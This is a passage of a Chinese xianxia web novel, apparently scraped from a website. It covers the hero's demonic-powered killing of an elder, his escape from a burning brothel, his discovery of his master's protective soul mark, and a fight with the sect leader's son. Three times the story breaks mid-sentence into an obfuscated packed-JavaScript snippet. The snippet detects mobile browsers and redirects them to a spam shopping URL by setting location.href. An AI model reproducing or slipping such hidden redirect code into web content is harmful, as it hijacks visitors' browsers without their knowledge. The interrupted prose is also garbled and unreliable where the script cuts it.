看沈无一终于安静下来,樊术长老以为他是认命了,满意地笑了一声。他掐住沈无一的下巴,掰过他的脸:“你头上的魔纹呢?遮住了?” 他说着便动手抹掉他额头上的伪装,将那朵赤红的魔纹原原本本地露了出来,痴迷地看着:“还是这样更加勾人。” 他欲要伸手去剥沈无一的衣领,却听见他发出一声崩溃的低吼:“不要再说了!” 樊术长老顿了一下:“什么?” 沈无一转动眼珠,朝他看了一眼,樊术长老被看的浑身一冷,那一眼又深又黑,什么情绪都没有,像在看一个死物。 樊术长老反应过来自己竟然被一个废人吓到,忍不住有些恼怒:“你……” 没等他说完,沈无一周身的魔气忽然暴动,汇聚成一股尖刺,瞬时扎穿了他的喉咙! 时间在这一秒好像无限拉长,鲜血喷溅出来,樊术长老好半晌才迟钝地捂住自己冒血的脖子,眼球暴突,踉跄着后退几步。 他像是根本没有反应过来发生了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006062|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,瞪着沈无一,喉咙里发出破碎的声响:“你……喀……” 沈无一冷冷地看着他。 樊术长老直挺挺地倒了下去,鲜血在地毯上淌出去好远。 一道红色的火焰从樊术长老的体内燃烧起来,点燃了他身下的地毯,又蔓延到各处,一阵风吹来,灰烬漫天飞舞。 不出一个时辰,整座红袖坊都会被大火吞噬。 沈无一一动不动地躺在床上,好一会儿才像是忽然呼吸到空气似的,弓起腰反应剧烈地干呕起来,将那颗药吐了出来。 门外传来混乱的喊叫声,但这些都已经进不了他的脑子。 他再一次用魔气杀了人。上一次他无知无觉,勉强可以算是身不由己,但这一次,他的意识一直都很清醒,是他主动使用魔气的。 他深呼一口气,努力想要平复自己的心跳,但呼吸声颤抖。 就在这时,锁住的门忽然被人用力地撞开,阿珠用湿毛巾捂住口鼻慌张地跑了进来,看到发愣的沈无一,一把冲过来,把他拽起来往外拉。 沈无一完全没想到这时候还有人来找他,一时没反应过来,被猛地一拽,肩膀处的伤被扯动,他忍不住“嘶”了一声。 “你肩膀怎么了?”阿珠立马松开他,刚问完就知道自己问了句傻话,还能是怎么了,她跟樊术长老打过一次交道,知道他是怎么样的败类。 她表情变了一下,抿了抿唇,毫不迟疑地弯下腰:“到我背上来,我背你。” 沈无一愣了愣:“不用……” 眼看着火势已经越来越大,阿珠呛咳一声,着急地开口:“快点!你脚伤还没养好,爬出去吗?再不上来我就不管你了!” 沈无一只好趴在了阿珠的背上。 阿珠被压的一沉,气息混乱片刻,艰难地把他驮了起来,咬牙迈着步子往外跑。 阿珠的侍女翠娘站在门外,惶恐地看着她,阿珠一只手拉着沈无一,另一手一巴掌山扇在她脸上,瞪着眼睛说:“吃里扒外的东西,滚!” 这火势来的又快又猛烈,普通的水浇不灭,实在蹊跷,楼里的人已经四散奔逃,红袖坊今后怕是都不复存在了。 阿珠背着沈无一一路往前跑,直到远离火场才气喘吁吁地停了下来。她把沈无一放了下来,抹了把头上的汗,没忍住尖酸地说:“红袖坊的姑娘们就没有像你这么重的。” 说完她沉默片刻,又低声说:“……翠娘去找你的事我并不知情,但确实是我的疏忽。” 沈无一摇了摇头。这对他来说已经不重要了。 阿珠从衣兜里翻出一把匕首,看到沈无一的视线落在匕首上,她不自在地多解释了一句:“随手拿的。要我帮你处理一下吗?先说好,我没什么经验,轻了重了都不能怪我。” 沈无一点点头:“麻烦你了。” 阿珠便举着匕首去挑他肩膀上的魂钉,惊讶于这些钉子扎的如此之深。她额头渗出汗,全神贯注地给沈无一处理伤口,努力不让自己的手颤抖:“有点疼,忍忍吧。” 沈无一唇色和脸色都苍白,但一声未吭。阿珠开始有点佩服她了。 “你还回去找妈妈吗?”阿珠给他涂上药,又撕下干净的裙摆给他包扎好,望着眼前分叉的路,问他。 沈无一再次摇了摇头,说:“不了。” 这场火太引人注目,他必须得离开玉州。至于老鸨算计他的事,他烧毁红袖坊也算是一笔勾销了。 待手臂稍微恢复一些知觉之后,他艰难地站起身,取出乾坤袋递给阿珠:“谢谢你救了我。我没有什么其他东西能给你了,乾坤袋中还剩一些银子和灵石,你若是想给自己赎身,或是用作其他,都随你。” 阿珠摇头:“我救你又不是为了报偿。” “收着吧,也不算什么。”沈无一将乾坤袋塞进她手中,凝望着远处的山峰,说:“我要走了,你多保重。” 阿珠一句“你去哪里”还卡在喉咙里,沈无一已经转过身,步履缓慢地朝着树林中走去。 她怔怔地攥着乾坤袋,看着沈无一,从他的背影里看出一种难以言喻的孤寂。 “小五!”过了好一会儿,她才反应过来,猛地朝沈无一的方向追去,但沈无一走的好快,像是毫无留恋一样,淹没在黑魆魆的树影中了。 20. 第二十章 沈无一睡了很久才醒,他醒来的时候,屋子里只点了一支烛台,只有少许的光透进床幔。 黑暗和梦境里残留的情绪仿佛重物笼罩过来,压住他胸口,让他有点喘不过气,他下意识地抓了一下胸口。 这时,床幔被一双手挑开了,一道声音紧跟着传来:“醒了?” 沈无一愣了愣,听出这声音属于谁,哑声喊道:“师父?” “嗯。”同尘将烛台拨亮了一些,屋内终于亮堂了许多,他系好窗幔,低下头看向沈无一:“好些了吗?” 沈无一呆呆地望了他一会儿,随后敛了一下眼睫,回答:“好些了。” 他的精神气还是不太足,花了一点时间才接上之前的记忆,只记得自己和陆朝阳、穆仪枫会合,之后的事情却一点都想不起来了。 他感觉头有点痛,揉了揉太阳穴:“我、我怎么回来的?后面好像遇到了什么事……” “朝阳说你陷入了鬼媒人布下的幻境,失去了意识。” 沈无一好像是有这么一个印象,顿时有点愧疚:“他们没事吧?鬼市的事情结束了吗?” “没事,结束了。”同尘低头看着他,嗓音在安静的夜晚显得轻而模糊,他的目光落在沈无一身上,有种让沈无一不太明白的重量:“寻找鬼市本不是你们的职责,敬真同我说,此次历练颇为圆满,你功不可没。” 哪里功不可没?他甚至还被鬼媒人暗算了! 沈无一顿了下,想起自己在鬼市中那场堪称荒唐的婚礼,乱七八糟的脑子稍微清明了一点,脸上的表情变得有些不太自在:“敬真长老说了我们怎么进鬼市的吗?” 同尘将他那些细微的反应都收入眼中:“没有,怎么?” 沈无一松了口气,又觉得这口气松的莫名。就算同尘真的知道这件事,怕也是不会放在心上。但他还是撒了个小谎:“我们跟着送亲队伍进去的。” 然后又说:“我的表现也就一般。” 他还是感觉到懊恼,自己这个体质总是很容易被动摇心神,陷入到幻境中去,看来心法还是要更努力地修习才是。 同尘摇了摇头,声音莫名有一种令人信服的笃定感:“不要妄自菲薄。你会是你们这一代最优秀的修士之一。” 沈无一跟着笑了一下,很快又被各种复杂的心虚压了下去——如果没有这一半的魔族血脉,那么他确实有可能成为修仙界最年轻最优秀的修士之一,但一旦他生出心魔,道法突破的难度便再上一个台阶。现在的他只不过是一个定时炸弹罢了。 同尘不知道他已经生出心魔,日日夜夜地折磨着他的神智,或许哪天扛不住了就会变成一个求而不得的疯子,就像上辈子一样。上辈子的他已经犯下了无法弥补的错误…… 沈无一脑中思绪繁杂,心情沉重,没注意到周围安静了好一会儿,忽然听见同尘问:“做噩梦了吗?” 沈无一脸色僵了僵,瞬间回神,声音紧绷地问:“我……说什么梦话了吗?” 同尘看着他眼角未干的泪痕:“梦话倒是没说,只是一直在哭。受什么委屈了么?” 沈无一浑身肌肉都因为紧张而有些发僵,闻言,他自以为很隐蔽地松了口气,轻轻捶了一下手臂,露出一个笑容说:“没有,谁能欺负得了我?就是做了个乱七八糟的噩梦。” 沈无一以为这个话题到此揭过了,同尘却问:“什么噩梦?” 沈无一的表情凝固了一瞬,他望着同尘沉静的双眸,忽然产生了一个冲动,很想就这样玩笑般地问“梦见自己入魔了,如果我入魔了,师父,你会不要我吗?” 但他很快冷静下来了,现在的他,即便是开一个这样的玩笑都不敢了。得到自己不想要的答案,他说不定会原地入魔。 因此他抿了抿唇,说:“有点记不清了。” 好在同尘点了点头,终于不再问了。 沈无一有点焦虑地抓了抓胸口,感觉今天的同尘有些不太一样,这种变化让他潜意识里感到一些不安。 恍惚中,他听见同尘说:“有什么想要的的吗?” 沈无一怔忡道:“要什么?” “综合来说,你表现的还不错。”同尘说:“想要什么就说,否则过了这村就没有这店了。” 沈无一蒙了一下,知道自己扭捏说不要的话同尘是真的会撤回奖励的,虽然他半道上着了道晕了大半宿,但既然同尘愿意给他奖励,沈无一当然不要白不要,同尘的东西可都是好东西。 他瞬间振奋了一点,开始盘算着要什么:“一个一品灵器?” “不了不了,还是一个稀有法宝吧?” “算了,我的法宝也不少,还是换一个吧……” 听他嘀嘀咕咕不停地换来换去,同尘也没有不耐烦,只是撑着头静静地等着他。 最后沈无一安静下来,似乎是选定了答案。同尘等他开口,却听见他低声说:“师父给小师弟的护身符,我也想要一个。” 同尘怔了怔,提醒他:“你要的是这个?这可算不上什么稀有法宝。” 只是一个连四品都够不上的护身符。 沈无一“嗯”了一声。 同尘望着他,没有很快回话,浅色的眸子逆着光,反倒像是浓烈的水墨了,让人感觉难以捉摸。沈无一和他对视片刻,心跳陡然加快了一点,匆忙移开了视线。 “护身符我会给你的。”同尘说:“你的奖励我给你保留着,等你有了想要的东西再来找我要。” …… 绣着海棠花的护身符很快挂在了沈无一腰间。 重新投入到日常之中,他拎着水桶在陆朝阳面前转了两圈,有点迟钝的陆朝阳才终于看见他腰间的护身符,惊讶道:“师兄,你的护身符哪来的。” “师父给的。”沈无一不太在意的样子:“怎么,师父没有给你奖励吗?” 陆朝阳丝毫没感觉到沈无一的“别有用心”,高兴地说:“哦那倒没有,师父允许我留下鬼媒人的鬼控娃娃了。” 沈无一噎了噎,又困惑地问:“什么鬼控娃娃?” “哦,师兄你那会儿晕过去了,不知道。”陆朝阳非常大方地从怀中掏出一个巴掌大的娃娃,递给沈无一看。 这娃娃是泥巴做的,颜色上的非常大胆新奇,衣服是红的裤子是绿的,黑咕隆咚两个眼珠。丑的非常惊悚。 沈无一罕见地卡了下壳,有点不知道该怎么形容这个娃娃,于是只好从它的功能性发问:“这个有什么用?” “将对方的发丝放进娃娃口中,就可以对他进行短暂的控制了。”陆朝阳解释:“不过我还没有怎么尝试过,师兄你要不要给我做个试验?” 沈无一心想傻子才给你做试验,拒绝的很干脆:“不要。” 陆朝阳扁了扁嘴,忽然想到什么,转了转眼珠说:“如果师兄你答应我的话,我就告诉你一件事。” 沈无一狐疑地看着陆朝阳:“什么事?” 陆朝阳不松口:“除非师兄你答应我,不然我不说。” 沈无一向来就是那种不禁钓的人,越不告诉他他就越想知道,但无论怎么问陆朝阳都不说。他急的百爪挠心,心想他们是同门师兄弟,就算做这古怪的试验肯定也是有分寸的,便一咬牙道:“行行行,到底什么事,你快说。” 陆朝阳摊开手:“一个好消息,一个坏消息,师兄你要听哪个?” 怎么还有坏消息?沈无一有点迟疑:“……那先说坏消息吧。” 陆朝阳表情内敛:“是这样的师兄。你回来的时候不太清醒,后山的树都给你炸倒了一片,我跟师兄都对你束手无策,师父只好带着你一块儿进净魂池,但是师兄你痛的狠了,一口咬在了师父手腕上——” 陆朝阳说到“一口咬在”这四个字的时候加重了语气,沈无一的眼皮也跟着抖了一下。 继他痛骂同尘被听到后,这次居然直接上嘴了! 其实想想也挺佩服自己的,普天之下还有谁能咬到同尘呢?就这一点来说他还是挺有能耐的……个鬼啊! 他怀着淡淡的死意问:“那师父是什么反应?” 陆朝阳看他脸色风云变幻,遂大力拍打他的肩膀,安慰道:“放心吧师兄!师父应该没有生气,你咬的那一口对他来说根本不痛不痒,他知道你的情况,肯定不会把这点小事放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006063|148535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心上!只有你私下里回味会觉得丢人罢了!” 沈无一:“……” 怎么这么会说话! 反正上次同尘也没有表现出什么异样,他就权当自己什么都不知道,反正那是神志不清的他干的,跟清醒过来的他有什么关系! 他没好气地抖掉陆朝阳的胳膊“那好消息是什么?” 陆朝阳露出一个神秘的微笑,指了指他腰间的护身符:“师兄你亏咯!你身上有师父的魂印,根本不需要这个护身符的。” 沈无一一怔,怀疑自己听错了:“魂印?” 沈无一当然知道魂印是什么,修为高深的修仙者可以在其他人的身上留下自己的魂印,与被留下魂印的人达成单向的神魂相连。一旦被打上魂印的人遭遇致命危险,魂印就会被立即触动,施术者也可以在第一时间感知到。 这个术法他们在术法课上学到过,是一个很高级的防御法术,不过愿意施展此术的人估计不多,毕竟若是对方遭受的攻击过大,是很有可能反噬施术人的。 “是啊,原来师父没有给你护身符,是因为在你的身上留下了魂印。”陆朝阳将那天的惊险刺激简单陈述了一遍,仍旧心有余悸:“不过若非师父的魂印,师兄你就要被鬼媒人那个毒娃娃一箭送走了。” 沈无一看起来受到了很大的冲击,陆朝阳以为他正懊悔呢,便说:“其实也不用太过懊恼,师父给的护身符外面买都买不到呢!奥对了,我今天的课业还没有完成,就先走了!师兄你不要忘记答应我的事啊!” 沈无一魂不守舍地点头。陆朝阳握着丑娃娃爱不释手地离开了,他将水桶送到田间的棚子下,微微弯下腰,看向水面上的自己。 随着他凝神聚气,一朵金色的海棠花便徐徐在他的眉头绽开。 居然真的有。 沈无一伸手小心翼翼地碰了碰眉心,害怕碰碎了似的,一时间万般心绪涌上他的心头,血液跟着沸腾,撞的他指尖发麻,让他又想哭又想笑。 原来他曾经给我留了一朵海棠花啊。 同尘对徒弟确实是非常上心的,是一个无可指摘的好师父,那他最后是该有多失望愤怒,才会放弃自己呢? 沈无一呼吸急促混乱,感到一股深深的后悔和侥幸。 但不论如何,这一刻的他是非常高兴的,这颗糖淹没在混乱与真假之中,但数载后还是落在了沈无一掌心。 即便有些迟,但还是很甜。 他浇好灵田,漫无目的往前走,等意识到的时候,人已经站在了重华殿中。 面前是一片莲池,一条笔直的浮桥连接着莲池中心的亭子,长长短短的纱幔在风中飘动。同尘坐在亭中同几位仙官说话,身影落在斑驳的树影和起伏的纱幔中,仿佛介于真实和虚幻之间。 沈无一本来就没想好这时见到同尘要说什么,这会儿看他在忙,又开始后悔自己莽撞前来。 他抬脚就准备离开,却见仙官们弯腰一揖,陆续从亭中退了出来。 同尘嗓音沉缓:“又傻站在那里做什么,过来。” 沈无一这下走也不是不走也不是,顿了顿,还是抬脚朝着亭子走了过去。 离开的仙官们正好同他撞上,掌门走在最前面,目光落在他身上,是隐晦的嫌恶和忌惮。 沈无一对他自然也生不起什么好感。 至少现在他们还没有到那种势同水火的程度,他不会给自己找事。 虽然他也很清楚,这样的和平脆弱的如同窗纸一般一捅就破,掌门对他魔族血脉忌惮过甚,已经到了草木皆兵的程度,只要有一点苗头都会立即摁死他。 沈无一低下头,掩住面上的表情,对着仙官们一拜。 直到他们擦肩而过,他才重新抬起头,走到同尘面前:“师父。” 同尘手搭在卷宗上,很低地应了一声。沈无一抬起眼皮,发现他正看着自己,沈无一见过他研究茶具和锻造法宝时候的模样,和现在很像,十分专注。 沈无一蒙了蒙,有点不太自在地掐了一下手指,笑道:“师父?” 同尘没说什么,他移开了视线,点了点桌子:“来帮我磨下墨吧。” 21. 第二十一章 沈无一略微迟疑后还是在同尘的对面坐了下来,慢慢地开始研墨。 周围瞬间安静下来,只有海棠花树簌簌的声音,沈无一久违地意识到今天是一个很不错的天气,他也有好久都没有在这样待在同尘身边漫无目的地发呆了。 同尘翻开卷轴,偶尔往上写一些批注,沈无一磨了一会儿墨,余光瞥见他微微翻转的腕骨,盯了一会儿,听见他问:“你来找我,有什么事么?” 沈无一朝旁边望过去,同尘低垂眼帘,在认真地看卷轴,睫毛在阳光下仿若透明。 沈无一呆看了一会儿,慢吞吞地移开视线,回答说:“小师弟告诉我,在我昏迷的时候是师父你的魂印护住了我,有点惊讶,就来了。” 同尘终于移开放在书卷上的目光,朝他看过来:“为何惊讶?” 沈无一卡了一下壳,没想到他会这么问,以不小心说出了实话:“……我一直觉得师父你一点儿也不偏心我来着。” 说完他就静了一下,赶紧打了个哈哈想把这个话题绕过去。但同尘罕见地认真,思索片刻,问道:“你这么觉得?” 沈无一觉得十分尴尬,只好解释道:“以前确实是这么觉得。不过平时你打我都比打小师弟多打一棍,罚我也最不留情面,我这么想也是很正常……但是现在我长大了,当然知道师父这么做是用心良苦了!” 同尘支着头,波澜不惊地“嗯”了一声:“怎么用心良苦?你说说看。” 沈无一心中叫苦不迭,简直有点抓耳挠腮了,好在还保留了点以前在同尘面前鬼话连篇的能力:“师父你罚我罚的更重,一定是对我期望更重!我和师兄师弟的情况也不太一样,你对我严格一些,以后我出去也不会太丢人。对吧?” 同尘无语凝噎片刻,摇头好笑道:“伶牙俐齿。” 沈无一讲的有点口干舌燥,挤出一个笑容。他舔了一下干巴巴的嘴唇,忽然想到,以后同尘若是有了子嗣,他也会这样严格的对那个孩子吗? 想到这里,他赶紧打住念头,光是想到这个场景他心里就一阵酸唧唧的。 “不过,我并不在意你在外面表现如何。好也罢,不好也罢,你都是我的徒弟,”同尘提笔沾了点墨,垂眼在卷轴上写了几笔,开口道:“你自幼体弱多病,却常常管不住自己贪玩,三个人里属你最会惹是生非。我会对你严加管教也很正常。” 沈无一怔了怔,这些话轻飘飘的,落在他的心上却生出了重量。他忽然感觉鼻子有点酸,立马掩饰性地垂下头,心想自己有那么惹是生非吗?他回想一下过去的事迹,不得不承认,自己好像确实挺能惹是生非的:“弟子知错了。” 他垂着脑袋摆出一副悉心听教的样子,还是像以前那样一犯错就卖乖。 沈无一不是什么听话的乖徒弟,他干过的混账事儿让同尘一度想要把他屁股抽开花,最好半个月出不了门、找不了事。 但他取得什么名次、参悟什么道法,翘着尾巴第一个来找自己报喜的时候,同尘又同样为他高兴。 非要说起来,在他的三个徒弟里,他在沈无一身上花费的时间和精力最多,自然而然也变成最放不下的一个。 同尘垂眼望着他的发顶,思绪无法控制地回到沈无一死前最后看向自己的那一眼,沾了血和灰尘的眼睛像是起了大雾,似乎很轻,又似乎很重。无一那个时候在想什么呢? 他用雷霆手段稳定三界,久居高位,积威甚重,在管教弟子上也习惯性地独断专行,或许确实在不知不觉中错过了很多声音—— 沉默良久,同尘开口道:“但既然你觉得这样过于严厉,为师以后会宽宥些。” 沈无一惊讶地抬眼看他:“真的吗?” 同尘点头,看向他:“为师什么时候骗过你?” 沈无一心想,这倒确实没有,同尘说什么就是什么。他收起心中的惊讶,赶紧说:“多谢师父。” 他用力眨了眨眼睛,感觉这几天都有种踩在棉花上的虚幻感,若不是掐自己的时候实在太痛,他都怀疑自己在做一场从来没有过的美梦。 难道这是自己重生上天给他的一点甜头吗?沈无一想,自己何德何能啊。 * 下山历练回来之后,一切又重新回到正轨。师兄弟几人每天早晨须得去归云院听课,沈无一上完课,和温成儒陆朝阳打了声招呼,邀着穆仪枫喝酒切磋去了。 归云院修建的十分古朴安静,方便诸位弟子静下心学习。其间可听见蝉鸣、溪泉叮咚声,沈无一以往只感觉这地方安静的像个死人坟,稍微大点声说话都要被老师们瞪一眼,重来一遭只觉得这群老古板们都变得和蔼可亲了。 二人沿着长廊往前走去,一路的安静中,一道喧哗声突兀地响起,格外刺耳。听声音还在朝这边靠近。 沈无一心想:我这个公认的“混世魔王”在这里都捏着嗓子小声说话,是谁这么嚣张? 等那群人靠近了,沈无一就知道为什么了。被围在中间趾高气扬的青年,吊梢眉、眼头尖细,眼下一圈青色的眼袋,和他老爹威严魁梧的模样不同,他瘦高的橡根麻杆,不过都一样令人讨厌。 此人正是与沈无一孽缘深重的掌门之子崔甫。 老师们听到声音先是一皱眉,再看到来人便只能摇头叹气。 穆仪枫看向崔甫的方向,从鼻子里哼了一声,摇了摇折扇,挡住嘴说:“仗着自己父亲是掌门,天天如此招摇过市。” 沈无一看见崔甫的第一眼脸色就猛地难看起来。 他其实更应该无波无澜地走开,自己上辈子的一切是都拜他所赐,和他多结仇怨没什么好处,最好的办法就是离此人远远的。 但一看到崔甫,他好像再一次闻到了死牢肮脏地面的腥腐臭味,以及被倒在面前的饭和剧痛的丹田。 于他是没能很好地管理住自己的表情。 不想这短短的一瞥被崔甫撞到了,对方不知道把他的眼神定义成什么,脸色一变,当即就迈步而来。 沈无一暗啐一声晦气,恢复表情,拉着穆仪枫绕道走。 但崔甫已经指使自己的拥趸快一步拦住了他们,自己环着手臂走过来,颇为不善地指着他质问:“沈无一!你刚才那是什么眼神?” 沈无一没有表情地耸了耸肩,不太走心地说:“什么眼神?就是眼皮有点痒。” 崔甫忍不住从鼻子里哼了一声,冷笑道:“谁知道你是不是眼皮痒,还是你就爱翻人白眼呢?”他紧接着哦了一声,讥讽地说:“毕竟一个叫花子懂什么礼数?” 悬眼山的弟子各有各的出生,沈无一因为是帝君亲自带回来的弟子,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈无一和崔甫在安静的归云院像两个地痞似的扭打在一起,每一招都夹杂着多年的宿怨。穆仪枫几次想掺和一脚,结果都以都找不到地方插进去而告终。 小二今天吃火药了?穆仪枫挠了挠头。 其他人不敢插手二人的事,最后叫来了院长菩提真人才将他们分开。 崔甫被人拽着,脸上已经青一块紫一块,像只被拔毛的鸡,他怒道:“你们长没长眼睛?没看到是他先打我的吗?他就是条疯狗!我脸都被他抓破了!” 二人实力不在一个阶层,刚才的斗殴简直是单方面的殴打。 沈无一头发被抓的凌乱,呸掉嘴角的血迹,他看起来也有些狼狈,但比崔甫要好太多了,这让他心中的躁郁消了一大半。 沈无一满意地看着崔甫脸上的血痕,心想上辈子没打人却被冤枉打人,实在是亏!好在这回总算是真的打回来了。 他露出一个很不真诚的笑,反咬回去:“不是你先让人教训我们的?我不打回去岂不是脑袋秀逗了!” 穆仪枫赶紧挺胸举手:“我作证沈无一说的是真的!是他们先找事儿的!” “停停停。”菩提真人握着珠串,眉间皱出一个深深的川字,目光一会儿落在崔甫——掌门的儿子身上,一会儿落在沈无一——帝君的二弟子身上,头痛地掐了一下眉心,感觉所剩无几的头发又在往下掉。 这二人哪个都不是省油的灯,菩提真人有时候感觉自己能撞上这二位活阎王也是作孽。 最后他长叹一口气,大手一挥做出决定:“归云院内打架斗殴!都给我关到禁闭室去!不写满一千字的检讨不要想出来。”